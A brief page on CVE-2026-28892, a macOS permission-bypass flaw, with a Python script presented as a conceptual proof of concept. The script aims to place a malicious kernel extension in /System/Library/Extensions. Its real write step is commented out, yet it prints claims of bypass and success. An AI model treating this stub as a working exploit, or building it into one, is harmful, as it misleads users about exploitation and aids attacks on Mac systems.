CVE-2026-28892: macOS权限问题允许修改受保护文件系统

#!/usr/bin/env python3 # PoC for CVE-2026-28892 (Conceptual) # This script simulates exploiting a permission bypass to write to a protected directory. # Note: Actual exploitation requires specific vulnerable macOS version and precise trigger. import os import sys def simulate_exploit(): target_path = "/System/Library/Extensions/vulnerable.kext" payload_path = "/tmp/malicious.kext" print(f"[*] Attempting to write payload to {target_path}...") # Simulate the logic flaw where permissions are not correctly checked # In a real scenario, this might involve a race condition (TOCTOU) or specific API misuse. try: # Hypothetical vulnerable function call if os.path.exists(payload_path): # This represents the bypass operation print("[!] Vulnerability triggered: Permission check bypassed.") # os.rename(payload_path, target_path) # Actual exploit action print("[+] Successfully modified protected file system.") else: print("[-] Payload not found.") except PermissionError: print("[-] Exploit failed: Permission denied (System patched or not vulnerable).") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": simulate_exploit()